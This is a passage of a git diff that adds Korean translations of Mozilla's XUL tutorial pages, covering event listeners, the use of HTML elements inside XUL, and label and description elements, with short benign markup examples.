+<p>본 자습서에서는 JavaScript의 사용법과 관련된 내용에 대해서는 다루지 않겠습니다. 이는 아주 넓은 주제이며 이를 위한 다양한 리소스들이 있습니다.</p>
+
+<div class="note">
+<p>기본적으로 JavaScript 콘솔은 웹 페이지에서 발생하는 오류만 보여줍니다. Chrome JavaScript에서 발생하는 오류를 출력하려면 설정에서 <code>javascript.options.showInConsole</code> 값을 <code>true</code>로 변경해야 합니다. 또한 디버깅을 위해 <code>javascript.options.strict</code> 설정값을 바꿀 수 있습니다. 이 값을 <code>true</code>로 설정하면, 표준에 맞지 않고 잘못 쓰여졌거나 구문에 맞지 않아서 로직 오류를 발생시킬 수 있는 것들이 JavaScript 콘솔에 기록될 것입니다.</p>
+</div>
+
+<h3 id=".EC.9D.B4.EB.B2.A4.ED.8A.B8.EC.97.90_.EC.9D.91.EB.8B.B5.ED.95.98.EA.B8.B0" name=".EC.9D.B4.EB.B2.A4.ED.8A.B8.EC.97.90_.EC.9D.91.EB.8B.B5.ED.95.98.EA.B8.B0">이벤트에 응답하기</h3>
+
+<p>스크립트는 사용자 혹은 다른 상황에 의해 발생하는 다양한 이벤트에 응답하는 코드를 포함합니다. 대략 30개 이상의 서로 다른 이벤트가 존재하며 이것들은 각각 서로 다른 방식으로 처리됩니다. 사용자가 마우스 버튼이나 키를 누르는 것과 같은 것들이 일반적인 이벤트입니다. 각각의 XUL 요소는 서로 다른 상황에서 특정 이벤트를 발생시킬 수 있는 능력이 있습니다. 어떤 이벤트는 특정 요소에 의해서만 발생됩니다.</p>
+
+<p>각 이벤트는 이름을 가지고 있으며, 'mousemove' 이벤트의 경우는 사용자가 UI 요소 위에서 마우스를 움직일 경우에 발생하는 이벤트 이름입니다. XUL은 <a class="external" href="http://www.w3.org/TR/DOM-Level-2-Events/">DOM Events</a>에서 정의한 것과 동일한 이벤트 메카니즘을 사용합니다. 사용자가 마우스를 움직이는 것과 같이, 이벤트를 발생시킬 수 있는 어떤 행위가 발생하면 해당 이벤트 유형에 해당하는 이벤트 객체가 생성됩니다. 이벤트 객체에는 마우스 위치나 눌러진 키와 같은 다양한 속성이 설정됩니다.</p>
+
+<p>그리고 나면 이벤트는 다음의 단계에 따라 XUL로 전송됩니다.</p>
+
+<ul>
+ <li>캡쳐 단계(capturing phase)에서는 이벤트는 맨 먼저 창으로 전송되고 다음으로는 문서로, 다음으로는 이벤트가 발생한 XUL 요소의 부모 요소들로 하위방향으로 대상 요소에 도착할때까지 전송됩니다.</li>
+ <li>타겟 단계(target phase)에서는 대상 XUL 요소로 이벤트가 전달됩니다.</li>
+ <li>버블링 단계(bubbling phase)에서는 이벤트가 다시 창에 도착할 때까지 위로 각 요소들에 전송됩니다.</li>
+</ul>
+
+<p>여러분은 캡쳐나 버블링 단계에서 이벤트에 응답할 수 있습니다. 이벤트의 전파가 모두 끝난 후에 대상 요소에 미리 정의된 기본 행위가 발생합니다.</p>
+
+<p>예를 들어, 마우스가 상자안에 있는 버튼위에서 움직였다면 'mousemove' 이벤트가 발생되고, 창, 문서, 상자 순으로 전송됩니다. 여기까지오면 캡쳐 단계가 끝이 납니다. 다음으로는 버튼으로 'mousemove' 이벤트가 전달됩니다. 최종 버블링 단계에서는 다시 상자, 문서, 창으로 이벤트가 전송됩니다. 버블링 단계는 당연히 캡처 단계의 역순으로 진행됩니다. 어떤 이벤트는 버블링 단계를 수행하지 않는다는 것을 알아 두십시요.</p>
+
+<p>여러분은 이벤트 전파 단계별로 각 요소가 이벤트에 응답하도록 리스너를 부착할 수 있습니다. 하나의 이벤트는 대상 요소의 모든 부모 요소들에게도 전달되기 때문에 특정 요소나 계층 구조상 상위에 있는 요소에도 리스너를 부착할 수 있습니다. 당연히 더 높은 위치에 있는 요소에 부착된 이벤트는 이 요소 내부에 있는 모든 요소의 알림을 받게 됩니다. 반대로 버튼에 부착된 이벤트는 해당 버튼과 관련된 이벤트만 받게 됩니다. 이것은 동일하거나 유사한 코드를 사용해서 여러개의 요소의 이벤트를 처리하고자 할 때 유용합니다.</p>
+
+<p>가장 일반적으로 사용되는 이벤트는 'command' 이벤트입니다. command 이벤트는 사용자가 어떤 요소를 활성화할 때 발생합니다. 예를 들어 버튼을 누르거나, 체크박스를 변경한다던지, 메뉴의 한 항목을 선택하는 것들이 이에 해당됩니다. command 이벤트는 해당 요소를 활성화하는 여러가지 방법을 자동으로 처리하기 때문에 유용하게 사용됩니다. 예를 들어 command 이벤트는 사용자가 버튼을 클릭하기 위해 마우스를 이용하던지 Enter 키를 누르던지 상관없이 발생됩니다.</p>
+
+<p>이벤트 리스너를 요소에 부착하는데는 2가지 방법이 있습니다. 첫 번째는 속성값에 스크립트를 사용하는 것입니다. 두 번째는 대상 요소의 <code>addEventListener</code> 메소드를 호출하는 것입니다. 전자는 버블링 단계에서 발생하는 이벤트만을 처리할 수 있긴 하지만, 사용하기 쉽다는 장점이 있습니다. 후자는 어떠한 단계의 이벤트도 처리할 수 있으며 한 요소의 특정 이벤트에 대해 여러개의 리스너를 부착할 수도 있습니다. 보통 대부분의 이벤트에 대해 속성을 이용하여 처리하는 형식이 더 많이 사용됩니다.</p>
+
+<h3 id=".EC.86.8D.EC.84.B1_.EC.9D.B4.EB.B2.A4.ED.8A.B8_.EB.A6.AC.EC.8A.A4.EB.84.88" name=".EC.86.8D.EC.84.B1_.EC.9D.B4.EB.B2.A4.ED.8A.B8_.EB.A6.AC.EC.8A.A4.EB.84.88">속성 이벤트 리스너</h3>
+
+<p>속성 형태를 사용하기 위해서는 이벤트에 반응해야 할 요소에 이벤트 이름 앞에 'on'이 붙은 이름의 속성을 위치시키면 됩니다. 예를 들어, 'command' 이벤트에 해당하는 속성은 'oncommand'입니다. 속성 값은 어떤 이벤트가 발생할 때 실행될 스크립트이어야 합니다. 일반적으로 이 코드는 짧은 내용이거나 별도의 스크립트에서 정의된 함수를 호출할 것입니다. 다음은 버튼이 눌러졌을때 응답하는 예제입니다.</p>
+
+<p><span id="%EC%98%88%EC%A0%9C_1"><a id="%EC%98%88%EC%A0%9C_1"></a><strong>예제 1</strong></span> : <a href="https://developer.mozilla.org/samples/xultu/examples/ex_events_1.xul.txt">Source</a> <a href="https://developer.mozilla.org/samples/xultu/examples/ex_events_1.xul">View</a></p>
+
+<pre class="eval">&lt;button label="OK" oncommand="alert('Button was pressed!');"/&gt;
+</pre>
+
+<p>command 이벤트는 버블링 단계를 거치기 때문에 해당 요소를 감싸는 요소(부모 요소)에도 이벤트 리스너를 부착시킬 수 있습니다. 아래의 예제에서 상자는 이벤트 리스너가 부착되어 있으며, 이 상자의 자식 요소들 모두에서 발생하는 이벤트에 응답하게 됩니다.</p>
+
+<p><span id="%EC%98%88%EC%A0%9C_2"><a id="%EC%98%88%EC%A0%9C_2"></a><strong>예제 2</strong></span> : <a href="https://developer.mozilla.org/samples/xultu/examples/ex_events_2.xul.txt">Source</a> <a href="https://developer.mozilla.org/samples/xultu/examples/ex_events_2.xul">View</a></p>
+
+<pre class="eval">&lt;vbox oncommand="alert(event.target.tagName);"&gt;
+  &lt;button label="OK"/&gt;
+  &lt;checkbox label="Show images"/&gt;
+&lt;/vbox&gt;
+</pre>
+
+<p>예제에서 command 이벤트는 버튼이나 체크박스에서 vbox로의 버블링 단계를 거칩니다. 만일 또 다른 리스너가 버튼에 위치해 있었다면, 이 코드가 먼저 호출되고 다음에 vbox의 핸들러가 실행될 것입니다. 이벤트 핸들러는 이벤트 객체인 'event'라는 미리 정의된 인자를 전달 받습니다. 이것은 이벤트에 관한 특정 정보를 얻기 위해 사용됩니다. 이벤트 객체에서 자주 사용되는 속성은 이벤트의 'target' 속성으로 이것은 실제로 이벤트가 발생한 대상 요소를 포함하고 있습니다. 예제에서는 대상 요소의 태그 이름이 포함된 경고창을 출력하였습니다. 버블링 단계에서 'target' 속성은 유용하게 사용할 수 있는데, 여러분은 하나의 스크립트로 여러개의 버튼들을 처리할 수 있습니다.</p>
+
+<p>여러분은 속성 구문이 HTML 문서에서 이벤트에 사용된것과 비슷하다는 것을 발견하였을 것입니다. 사실 HTML과 XUL 모두 동일한 이벤트 메카니즘을 공유합니다. 한 가지 중요한 차이는 HTML에서는 버튼의 응답에 'click' 이벤트(<code>onclick</code> 속성)가 사용되는 반면, XUL에서는 command 이벤트가 사용된다는 것입니다. XUL에서도 click 이벤트가 존재하지만 키보드가 아닌 마우스 클릭에만 응답합니다. 따라서, XUL에서는 특정 요소가 꼭 마우스에 의해서만 처리되어야만 하는 이유가 없다면 click 이벤트를 사용하지 않는게 좋습니다. 또한, command 이벤트는 요소가 사용할 수 없는 상태(disabled)일때는 전송되지 않지만 click 이벤트는 대상 요소의 상태와 상관없이 전송됩니다.</p>
+
+<div class="highlight">
+<h5 id=".EC.9A.B0.EB.A6.AC.EC.9D.98_.ED.8C.8C.EC.9D.BC_.EC.B0.BE.EA.B8.B0_.EC.98.88.EC.A0.9C" name=".EC.9A.B0.EB.A6.AC.EC.9D.98_.ED.8C.8C.EC.9D.BC_.EC.B0.BE.EA.B8.B0_.EC.98.88.EC.A0.9C">우리의 파일 찾기 예제</h5>
+
+<p>파일 찾기 대화창에 있는 Find와 Cancel 버튼에는 command 이벤트 핸들러를 부착할 수 있습니다. Find 버튼을 누르면 검색을 시작해야 할 것입니다. 이 부분은 아직 구현되지 않았기 때문에 지금은 그냥 두겠습니다. 그러나 Cancel 버튼을 눌렀을때는 창이 닫히게 하는 것이 좋을것 같습니다. 아래의 코드는 이것을 어떻게 하는지 보여줍니다. 동일한 코드를 Close 메뉴 항목에도 넣어 보겠습니다.</p>
+
+<pre class="eval">&lt;menuitem label="Close" accesskey="c" <span class="highlightred">oncommand="window.close();"</span>/&gt;
+...
+
+&lt;button id="cancel-button" label="Cancel"
+     <span class="highlightred">oncommand="window.close();</span>"/&gt;
+</pre>
+
+<p>두 개의 핸들러가 추가되었습니다. <code>oncommand</code> 속성이 Close 메뉴 항목에 추가되었습니다. 이 핸들러를 사용해서 사용자는 마우스로 메뉴 항목을 클릭하거나 키보드로 선택함으로서 창을 닫을 수 있습니다. Cancel 버튼에도 <code>oncommand</code> 핸들러가 추가되었습니다.</p>
+</div>
+
+<h3 id="DOM_.EC.9D.B4.EB.B2.A4.ED.8A.B8_.EB.A6.AC.EC.8A.A4.EB.84.88" name="DOM_.EC.9D.B4.EB.B2.A4.ED.8A.B8_.EB.A6.AC.EC.8A.A4.EB.84.88">DOM 이벤트 리스너</h3>
+
+<p>이벤트 핸들러를 추가하는 두 번째 방법은 해당 요소의 <code>addEventListener</code> 메소드를 호출하는 것입니다. 이 방법은 동적으로 이벤트 리스너를 부착할 수 있게 해주며 캡처 단계에서 이벤트에 응답하게 해 줍니다. 구문은 다음과 같습니다.</p>
+
+<p><span id="%EC%98%88%EC%A0%9C_3"><a id="%EC%98%88%EC%A0%9C_3"></a><strong>예제 3</strong></span> : <a href="https://developer.mozilla.org/samples/xultu/examples/ex_events_3.xul.txt">Source</a> <a href="https://developer.mozilla.org/samples/xultu/examples/ex_events_3.xul">View</a></p>
+
+<pre>&lt;button id="okbutton" label="OK"/&gt;
+
+&lt;script&gt;
+function buttonPressed(event){
+  alert('Button was pressed!');
+}
+
+var button = document.getElementById("okbutton");
+button.addEventListener('command', buttonPressed, true);
+&lt;/script&gt;
+</pre>
+
+<p><code><a href="ko/DOM/document.getElementById">getElementById()</a></code> 함수는 주어진 <code>id</code>에 해당하는 요소를 반환하며, 이 경우에는 버튼 요소입니다. <code><a href="ko/DOM/element.addEventListener">addEventListener()</a></code> 함수는 새로운 캡처 단계의 이벤트 리스너를 추가하기 위해 호출되었습니다. 첫 번째 인자는 응답할 대상 이벤트 이름입니다. 두 번째 인자는 이벤트가 발생했을 때 호출될 이벤트 리스너 함수입니다. 마지막 인자는 캡처 단계에서 사용하기 위해 <code>true</code>이어야 합니다. 여러분은 마지막 인자를 <code>false</code>로 설정하면 캡쳐 단계가 아닌 버블링 단계에서 응답하도록 합니다. 두 번째 인자로 주어진 이벤트 리스너 함수는 위의 <code>buttonPressed</code> 함수에서 선언된 것과 같이 인자로 event 객체 하나만 받아야 합니다.</p>
+
+<div class="highlight"><span id="%EC%A7%80%EA%B8%88%EA%B9%8C%EC%A7%80%EC%9D%98_%ED%8C%8C%EC%9D%BC_%EC%B0%BE%EA%B8%B0_%EC%98%88%EC%A0%9C"><a id="%EC%A7%80%EA%B8%88%EA%B9%8C%EC%A7%80%EC%9D%98_%ED%8C%8C%EC%9D%BC_%EC%B0%BE%EA%B8%B0_%EC%98%88%EC%A0%9C"></a><strong>지금까지의 파일 찾기 예제</strong></span> : <a href="https://developer.mozilla.org/samples/xultu/examples/findfile/findfile-events.xul.txt">Source</a> <a href="https://developer.mozilla.org/samples/xultu/examples/findfile/findfile-events.xul">View</a></div>
+
+<p>다음에는 <a href="ko/XUL_Tutorial/More_Event_Handlers">이벤트 객체</a>에 대해 좀 더 자세히 알아보겠습니다.</p>
+
+<p></p><div class="prevnext" style="text-align: right;">
+    <p><a href="/ko/docs/XUL_Tutorial:Scrolling_Menus" style="float: left;">« 이전</a><a href="/ko/docs/XUL_Tutorial:More_Event_Handlers">다음  »</a></p>
+</div><p></p>
+
+<p></p>
diff --git a/files/ko/mozilla/tech/xul/xul_tutorial/adding_html_elements/index.html b/files/ko/mozilla/tech/xul/xul_tutorial/adding_html_elements/index.html
new file mode 100644
index 0000000000..6c3e3921ee
--- /dev/null
+++ b/files/ko/mozilla/tech/xul/xul_tutorial/adding_html_elements/index.html
@@ -0,0 +1,114 @@
+---
+title: Adding HTML Elements
+slug: Mozilla/Tech/XUL/XUL_Tutorial/Adding_HTML_Elements
+tags:
+  - XUL
+  - XUL_Tutorial
+translation_of: Archive/Mozilla/XUL/Tutorial/Adding_HTML_Elements
+---
+<p></p><div class="prevnext" style="text-align: right;">
+    <p><a href="/ko/docs/XUL_Tutorial:Progress_Meters" style="float: left;">« 이전</a><a href="/ko/docs/XUL_Tutorial:Using_Spacers">다음  »</a></p>
+</div><p></p>
+<p>버튼을 넣었으니 이제 다른 요소들을 더 넣어 보도록 하겠습니다.</p>
+<h3 id=".EC.B0.BD.EC.97.90_HTML_.EC.9A.94.EC.86.8C_.EC.B6.94.EA.B0.80.ED.95.98.EA.B8.B0" name=".EC.B0.BD.EC.97.90_HTML_.EC.9A.94.EC.86.8C_.EC.B6.94.EA.B0.80.ED.95.98.EA.B8.B0">창에 HTML 요소 추가하기</h3>
+<p>XUL 파일에는 XUL 요소뿐만 아니라 HTML 요소들도 바로 넣을 수 있습니다. 모든 HTML 요소를 XUL 파일에서 사용할 수 있기 때문에 자바 애플릿이나 테이블을 창에 표시하는 것도 가능합니다. 될 수 있으면 HTML 요소를 사용하지 않는 것이 바람직하지만(몇 가지 이유가 있지만 가장 중요한 것은 다음에 설명할 <a href="ko/XUL_Tutorial/Box_Model_Details">컨트롤의 배치</a>와 관련된 것입니다.), 그래도 이번 단원에서는 XUL에서 HTML 요소를 사용하는 방법을 알아 보도록 하겠습니다. XML은 대소문자를 구별하기 때문에 모든 태그와 속성은 소문자로 입력해야 한다는 점에 유의하세요.</p>
+<h4 id="XHTML_.EC.9D.B4.EB.A6.84.EA.B3.B5.EA.B0.84" name="XHTML_.EC.9D.B4.EB.A6.84.EA.B3.B5.EA.B0.84">XHTML 이름공간</h4>
+<p>HTML 요소를 XUL 파일에서 사용하려면 먼저 XHTML 이름공간을 사용한다는 것을 선언해야 합니다. 이렇게 함으로써, Mozilla는 HTML 태그와 XUL 태그를 구별할 수 있습니다. 아래 속성이 XUL 파일의 <code><code><a href="/ko/docs/Mozilla/Tech/XUL/window" title="window">window</a></code></code> 태그나 제일 바깥 HTML 요소에 추가되어야 합니다.</p>
+<pre class="eval"><span class="nowiki">xmlns:html="http://www.w3.org/1999/xhtml"</span>
+</pre>
+<p>이것은 XUL 을 선언하기 위해 사용했던 것과 비슷한 것으로, HTML을 선언하는 것입니다. 이것은 위와 정확히 일치하도록 입력되어야 하며, 그렇지 않아면 제대로 작동하지 않을 것입니다. 실제로는 Mozilla가 위의 URL을 다운로드하는 것은 아니며, 그냥 HTML이라는 것을 인식하기 위한 것입니다.</p>
+<p>다음은 파일 찾기 창에 추가한 예제입니다.</p>
+<pre class="eval"> &lt;?xml version="1.0"?&gt;
+ &lt;?xml-stylesheet href="<a class="external" rel="freelink">chrome://global/skin/</a>" type="text/css"?&gt;
+ &lt;window
+   id="findfile-window"
+   title="Find Files"
+   orient="horizontal"
+   <span class="highlightred"><span class="nowiki">xmlns:html="http://www.w3.org/1999/xhtml"</span></span>
+   xmlns="<span class="nowiki">http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul</span>"&gt;
+</pre>
+<p>이제 다음 내용만 잘 세겨두고 있으면, HTML 태그를 사용하실 수 있습니다.</p>
+<ul>
+ <li>HTML 이름 공간을 위와 같이 정의했다고 하면, 각각의 HTML 태그의 시작부분에는 <code>html:</code> 접두어가 들어가야 합니다.</li>
+ <li>모든 태그는 "소문자로 입력"해야만 합니다.</li>
+ <li>모든 속성값은 "인용부호"로 묶여야 합니다.</li>
+ <li>XML에서는 내용이 없는 태그의 끝에 마침 슬래쉬(/&gt;)가 필요합니다. 이것은 다음 예제를 통해 보다 명확히 알 수 있을 것입니다.</li>
+</ul>
+<h4 id="HTML_.EC.9A.94.EC.86.8C_.EC.82.AC.EC.9A.A9.ED.95.98.EA.B8.B0" name="HTML_.EC.9A.94.EC.86.8C_.EC.82.AC.EC.9A.A9.ED.95.98.EA.B8.B0">HTML 요소 사용하기</h4>
+<p>여러분은 어떠한 HTML 태그도 사용하실 수 있습니다(사실 <code>head</code>나 <code>body</code>같은 것들은 쓸데가 없습니다). HTML 요소를 사용하는 몇 가지 예제를 아래에서 보실 수 있습니다.</p>
+<pre>&lt;html:img src="banner.jpg"/&gt;
+
+&lt;html:input type="checkbox" value="true"/&gt;
+
+&lt;html:table&gt;
+  &lt;html:tr&gt;
+    &lt;html:td&gt;
+      A simple table
+    &lt;/html:td&gt;
+  &lt;/html:tr&gt;
+&lt;/html:table&gt;
+</pre>
+<p>위의 예제는 banner.jpg 이미지와 체크 박스, 단일 셀 테이블을 생성합니다. 여러분은 가능하면 XUL의 기능을 사용하는 것이 좋고, 레이아웃을 위해 테이블을 사용하지 않는게 좋습니다(레이아웃을 위한 XUL 요소가 존재합니다). 각 태그 앞에 <code>html:</code> 접두어가 추가되어 있는 것을 보실 수 있습니다. 이것은 Mozilla에게 이러한 태그가 XUL이 아닌 HTML 태그라는 것을 알려 줍니다. 만일 <code>html:</code> 부분이 빠지면 브라우저는 해당 요소가 XUL 요소인 것으로 생각할 것이며, img, input, table들은 유효한 XUL 태그가 아니기 때문에 출력되지 않을 것입니다.</p>
+<p>XUL에서는 <code><code><a href="/ko/docs/Mozilla/Tech/XUL/description" title="description">description</a></code></code>나 <code><code><a href="/ko/docs/Mozilla/Tech/XUL/label" title="label">label</a></code></code> 요소를 이용해서 라벨을 넣을 수 있습니다. 가능하면 이런 요소들을 사용하세요. 여러분은 컨트롤에 라벨을 넣기 위해 HTML의 <code>label</code> 요소를 사용하거나, 아래의 예제와 같이 다른 블럭 요소(<code>p</code>나 <code>div</code> 같은 것들)내에 직접 텍스트를 넣어서 사용할 수 있습니다.</p>
+<p><span id="%EC%98%88%EC%A0%9C_1"><a id="%EC%98%88%EC%A0%9C_1"></a><strong>예제 1</strong></span> : <a href="https://developer.mozilla.org/samples/xultu/examples/ex_htmlelem_1.xul.txt">Source</a> <a href="https://developer.mozilla.org/samples/xultu/examples/ex_htmlelem_1.xul">View</a></p>
+<pre>&lt;html:p&gt;
+  Search for:
+  &lt;html:input id="find-text"/&gt;
+  &lt;button id="okbutton" label="OK"/&gt;
+&lt;/html:p&gt;
+</pre>
+<p>위의 코드에서는 'Search for:'라는 텍스트가 출력되고, 다음에는 input 요소와 OK 버튼이 출력됩니다. 위에서와 같이 XUL 버튼이 HTML 요소 내에 나타날 수 있다는 점에 유의하세요. 텍스트는 보통 출력을 위해 사용되는 HTML 요소 내에 위치해야지만 출력됩니다. 바깥쪽에 있는 텍스트는 <code>description</code>와 같이 텍스트를 포함할 수 있는 XUL 요소외에서는 출력되지 않습니다. 아래의 예제가 도움이 될것입니다.</p>
+<h3 id="HTML_.EC.9A.94.EC.86.8C_.EC.98.88.EC.A0.9C" name="HTML_.EC.9A.94.EC.86.8C_.EC.98.88.EC.A0.9C">HTML 요소 예제</h3>
+<p>다음은 HTML 요소를 창에 추가하는 몇 가지 예제입니다. 단순하게 하기 위해 창과 다른 중복된 내용은 생략하였습니다.</p>
+<h4 id=".EC.B2.B4.ED.81.AC_.EB.B0.95.EC.8A.A4.EA.B0.80_.EC.9E.88.EB.8A.94_.EB.8C.80.ED.99.94.EC.83.81.EC.9E.90" name=".EC.B2.B4.ED.81.AC_.EB.B0.95.EC.8A.A4.EA.B0.80_.EC.9E.88.EB.8A.94_.EB.8C.80.ED.99.94.EC.83.81.EC.9E.90">체크 박스가 있는 대화상자</h4>
+<p><span id="%EC%98%88%EC%A0%9C_2"><a id="%EC%98%88%EC%A0%9C_2"></a><strong>예제 2</strong></span> : <a href="https://developer.mozilla.org/samples/xultu/examples/ex_htmlelem_2.xul.txt">Source</a> <a href="https://developer.mozilla.org/samples/xultu/examples/ex_htmlelem_2.xul">View</a></p>
+<div class="float-right">
+ <img alt="Image:htmlelem-ex1.png"></div>
+<pre>&lt;html:p&gt;
+  Click the box below to remember this decision.
+  &lt;html:p&gt;
+    &lt;html:input id="rtd" type="checkbox"/&gt;
+    &lt;html:label for="rtd"&gt;Remember This Decision&lt;/html:label&gt;
+  &lt;/html:p&gt;
+&lt;/html:p&gt;
+</pre>
+<p>위 예제에서는 하나의 <code>p</code> 태그는 텍스트를 감싸고 있고, 다른 <code>p</code> 태그는 여러 줄로 텍스트를 분리하기 위해 사용되고 있습니다.</p>
+<h4 id="HTML_.EB.B8.94.EB.9F.AD_.EB.B0.94.EA.B9.A5.EC.AA.BD.EC.97.90_.EC.9E.88.EB.8A.94_.ED.85.8D.EC.8A.A4.ED.8A.B8" name="HTML_.EB.B8.94.EB.9F.AD_.EB.B0.94.EA.B9.A5.EC.AA.BD.EC.97.90_.EC.9E.88.EB.8A.94_.ED.85.8D.EC.8A.A4.ED.8A.B8">HTML 블럭 바깥쪽에 있는 텍스트</h4>
+<p><span id="%EC%98%88%EC%A0%9C_3"><a id="%EC%98%88%EC%A0%9C_3"></a><strong>예제 3</strong></span> : <a href="https://developer.mozilla.org/samples/xultu/examples/ex_htmlelem_3.xul.txt">Source</a> <a href="https://developer.mozilla.org/samples/xultu/examples/ex_htmlelem_3.xul">View</a></p>
+<div class="float-right">
+ <img alt="Image:htmlelem-ex2.png"></div>
+<pre>&lt;html:div&gt;
+    Would you like to save the following documents?
+    &lt;html:hr/&gt;
+&lt;/html:div&gt;
+Expense Report 1
+What I Did Last Summer
+&lt;button id="yes" label="Yes"/&gt;
+&lt;button id="no" label="No"/&gt;
+</pre>
+<p>그림에서 보듯이, <code>div</code> 태그 안에 있는 텍스트는 출력되지만 바깥쪽에 있는 텍스트(Expense Report 1과 What I Did Last Summer)는 출력되지 않습니다. 이것은 텍스트를 출력하기 위해 감싸고 있는 HTML 혹은 XUL 요소가 없기 때문입니다. 이 텍스트를 출력하기 위해서는 <code>div</code> 태그나 <code>description</code> 태그 내로 들어가야 합니다.</p>
+<h4 id=".EC.9E.98.EB.AA.BB.EB.90.9C_HTML_.EC.9A.94.EC.86.8C" name=".EC.9E.98.EB.AA.BB.EB.90.9C_HTML_.EC.9A.94.EC.86.8C">잘못된 HTML 요소</h4>
+<pre>&lt;html:po&gt;Case 1&lt;/html:po&gt;
+&lt;div&gt;Case 2&lt;/div&gt;
+&lt;html:description value="Case 3"/&gt;
+</pre>
+<p>위의 세 가지 경우는 모두, 서로 다른 이유 때문에 출력되지 않습니다.</p>
+<dl>
+ <dt>
+  Case 1 </dt>
+ <dd>
+  <code>po</code>는 유효한 HTML 태그가 아니며, Mozilla는 어떻게 처리해야 할지에 대해 알지 못합니다.</dd>
+ <dt>
+  Case 2 </dt>
+ <dd>
+  <code>div</code>는 HTML에서만 유효합니다. 제대로 동작하려면 <code>html:</code>한정사를 추가해야 합니다.</dd>
+ <dt>
+  Case 3 </dt>
+ <dd>
+  A <code>description</code>는 XUL에서만 유효한 요소입니다. <code>html:</code> 한정사가 없어야 합니다.</dd>
+</dl>
+<p>다음번에는 <a href="ko/XUL_Tutorial/Using_Spacers">요소들 간에 공백(spacer) 주기</a>에 대해 알아보겠습니다.</p>
+<p></p><div class="prevnext" style="text-align: right;">
+    <p><a href="/ko/docs/XUL_Tutorial:Progress_Meters" style="float: left;">« 이전</a><a href="/ko/docs/XUL_Tutorial:Using_Spacers">다음  »</a></p>
+</div><p></p>
+<p></p>
diff --git a/files/ko/mozilla/tech/xul/xul_tutorial/adding_labels_and_images/index.html b/files/ko/mozilla/tech/xul/xul_tutorial/adding_labels_and_images/index.html
new file mode 100644
index 0000000000..0d4391877b
--- /dev/null
+++ b/files/ko/mozilla/tech/xul/xul_tutorial/adding_labels_and_images/index.html
@@ -0,0 +1,65 @@
+---
+title: Adding Labels and Images
+slug: Mozilla/Tech/XUL/XUL_Tutorial/Adding_Labels_and_Images
+tags:
+  - XUL
+  - XUL_Tutorial
+translation_of: Archive/Mozilla/XUL/Tutorial/Adding_Labels_and_Images
+---
+<p></p><div class="prevnext" style="text-align: right;">
+    <p><a href="/ko/docs/XUL_Tutorial:Adding_Buttons" style="float: left;">« 이전</a><a href="/ko/docs/XUL_Tutorial:Input_Controls">다음  »</a></p>
+</div><p></p>
+<p>이 절은 창에 label과 image를 추가하는 법을 기술합니다. 게다가, 그룹에 요소를 포함하는 법을 살펴봅니다.</p>
+<h3 id="Text_.EC.9A.94.EC.86.8C" name="Text_.EC.9A.94.EC.86.8C">Text 요소</h3>
+<p>여러분은 태그 없이는 XUL 파일에 바로 텍스트를 끼워 넣고 표시되기를 기대할 수 없습니다. 여러분을 이런 목적을 위해 XUL 요소 둘을 쓸 수 있습니다.</p>
+<h4 id="Label_.EC.9A.94.EC.86.8C" name="Label_.EC.9A.94.EC.86.8C">Label 요소</h4>
+<p>창에 텍스트를 포함하는 가장 기본 방법은 <code><a href="/ko/docs/Mozilla/Tech/XUL/label" title="label">label</a></code> 요소를 쓰는 겁니다. 예제를 아래에 보입니다.</p>
+<p><span id="Example_1"><a id="Example_1"></a><strong>Example 1</strong></span> : <a href="https://developer.mozilla.org/samples/xultu/examples/ex_textimage_1.xul.txt">Source</a> <a href="https://developer.mozilla.org/samples/xultu/examples/ex_textimage_1.xul">View</a></p>
+<pre>&lt;label value="This is some text"/&gt;
+</pre>
+<p><code><code id="a-value"><a href="https://developer.mozilla.org/ko/docs/Mozilla/Tech/XUL/Attribute/value">value</a></code></code> 속성(attribute)은 여러분이 표시되길 바라는 텍스트를 지정하는 데 쓸 수 있습니다. 텍스트는 넘겨지지(wrap) 않아서 오직 한 줄에 보입니다. 이는 짧은 텍스트 절에 어울립니다.</p>
+<h4 id="Description_.EC.9A.94.EC.86.8C" name="Description_.EC.9A.94.EC.86.8C">Description 요소</h4>
+<p>더 긴 텍스트를 위해, 여러분은 열고 닫는 <code><a href="/ko/docs/Mozilla/Tech/XUL/description" title="description">description</a></code> 태그 안에 content를 둘 수 있습니다. <code><a href="/ko/docs/Mozilla/Tech/XUL/label" title="label">label</a></code> 요소와 <code>value</code> 속성으로 지정된 텍스트와는 달리, child 텍스트는 필요하다면 여러 줄로 넘겨집니다. 넘겨짐(wrapping)을 보기 위해 창 크기를 조정해 보세요. HTML처럼, 줄바꿈(line break)과 여분 공백(whitespace)은 space 하나로 축약됩니다. 우리가 더 쉽게 넘겨짐을 볼 수 있도록 <a href="ko/XUL_Tutorial/Element_Positioning">나중에 요소의 너비를 강제하는 법을 알아봅니다</a>.</p>
+<p><span id="Example_2"><a id="Example_2"></a><strong>Example 2</strong></span> : <a href="https://developer.mozilla.org/samples/xultu/examples/ex_textimage_2.xul.txt">Source</a> <a href="https://developer.mozilla.org/samples/xultu/examples/ex_textimage_2.xul">View</a></p>
+<pre>&lt;description&gt;
+  This longer section of text is displayed.
+&lt;/description&gt;
+</pre>
+<p>내부에서, <code><code><a href="/ko/docs/Mozilla/Tech/XUL/label" title="label">label</a></code></code> 요소와 <code><code><a href="/ko/docs/Mozilla/Tech/XUL/description" title="description">description</a></code></code> 요소 둘은 같습니다. 이는 label은 여러분이 태그 안에 둔 텍스트가 넘겨질 수 있고 description은 <code><code id="a-value"><a href="https://developer.mozilla.org/ko/docs/Mozilla/Tech/XUL/Attribute/value">value</a></code></code> 속성이 있을 수 있음을 뜻합니다. <code><code><a href="/ko/docs/Mozilla/Tech/XUL/label" title="label">label</a></code></code> 요소 text field와 같은 컨트롤(control)의 label을 위한 목적입니다. <code><code><a href="/ko/docs/Mozilla/Tech/XUL/description" title="description">description</a></code></code> 요소는 <code><code><a href="/ko/docs/Mozilla/Tech/XUL/dialog" title="dialog">dialog</a></code></code> 상자의 상단에 informative text와 같은 other descriptive text를 위한 목적입니다. 관례에 따라, 여러분은 이 지침을 따르면 좋습니다.</p>
+<h4 id="Control_.EC.86.8D.EC.84.B1" name="Control_.EC.86.8D.EC.84.B1">Control 속성</h4>
